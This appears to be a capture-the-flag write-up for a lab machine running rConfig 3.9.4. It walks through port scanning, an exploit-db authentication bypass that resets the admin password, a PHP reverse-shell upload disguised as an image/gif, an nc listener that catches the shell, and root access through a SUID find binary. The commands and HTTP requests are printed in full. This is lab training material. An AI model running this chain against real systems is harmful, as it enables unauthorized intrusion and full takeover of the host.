

```

(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.182.57 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.182.57:21
Open 192.168.182.57:22
Open 192.168.182.57:80
Open 192.168.182.57:111
Open 192.168.182.57:139
Open 192.168.182.57:445
Open 192.168.182.57:3306
Open 192.168.182.57:8081

PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack  vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| _Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to ::ffff:192.168.45.240
|     Logged in as ftp
22/tcp    open  ssh          syn-ack  OpenSSH 7.4 (protocol 2.0)
80/tcp    open  http         syn-ack  Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
| http-methods:
|   Supported Methods: GET HEAD POST OPTIONS TRACE
|   Potentially risky methods: TRACE
|_ http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_ http-title: Apache HTTP Server Test Page powered by CentOS
111/tcp   open  rpcbind      syn-ack  2-4 (RPC #100000)
139/tcp   open  netbios-ssn  syn-ack  Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn  syn-ack  Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql        syn-ack  MariaDB (unauthorized)
8081/tcp  open  http         syn-ack  Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16)
|_ http-title: 400 Bad Request
|_ http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16
|_ http-methods:
|_ Supported Methods: GET HEAD POST
Service Info: Host: QUACKERJACK; OS: Unix
``` googleSearch[Rconfig 3.9.4 File Upload RCE]
(https://gist.github.com/farid007/9f6ad063645d5b1550298c8b9ae953ff),Firstdownload[edb-48878]
(https://www.exploit-db.com/exploits/48878)

```

```

(kali㉿kali)-[~/pgplay]
└─$ python3 48878.py
Choose method for authentication bypass:
1) User creation
2) User enumeration + User edit
Method>2 <<<<<<-----
(+) The admin user is present in this rConfig instance
(+) The new password for the admin user is Testing1@
Choose method for RCE:
1) Unsafe call to exec()
2) Template edit
Method>1 <<<<<<-----
(+) Log in as test completed
(-) Error when executing payload, please debug the exploit
(+) Log in as test completed
(+) Payload executed successfully
``` useadmin/Testing1@loginCheckhttps://192.168.182.57:8081/vendors.php,Add
Vendor,uploadshell.php,useburpsuiteimage/gif

```

```

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: 192.168.182.57:8081
Cookie: PHPSESSID=h4hs0riido56qk74e9bb7skut4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=-----1066316345948954156406290863
Content-Length: 6053
Origin: https://192.168.182.57:8081
Referer: https://192.168.182.57:8081/vendors.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close

-----1066316345948954156406290863
Content-Disposition: form-data; name="vendorName"

shell
-----1066316345948954156406290863
Content-Disposition: form-data; name="vendorLogo"; filename="shell.php"
Content-Type: image/gif <<<<< change this -----

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
...
``` Open nc,Check`https://192.168.182.57:8081/images/vendor/shell.php`wait for reverse
shell,`/home/rconfig`get local.txt

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp445

```

```

sh-4.2$ pwd
/home/rconfig
sh-4.2$ cat local.txt
a7233d7d92e1f1918dc50171d234975c
``` binaries,find

```

```

sh-4.2$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/find
...
``` [GTFobins] (https://gtfobins.github.io/gtfobins/find/#suid),get root ```
sh-4.2$ install -m =xs $(which find) .
install -m =xs $(which find) .
sh-4.2$ /usr/bin/find . -exec /bin/sh -p \; -quit
/usr/bin/find . -exec /bin/sh -p \; -quit
whoami
root
cd /root
ls
proof.txt
cat proof.txt
6c5d95354411b4be5ae31bcbfffb2d12

```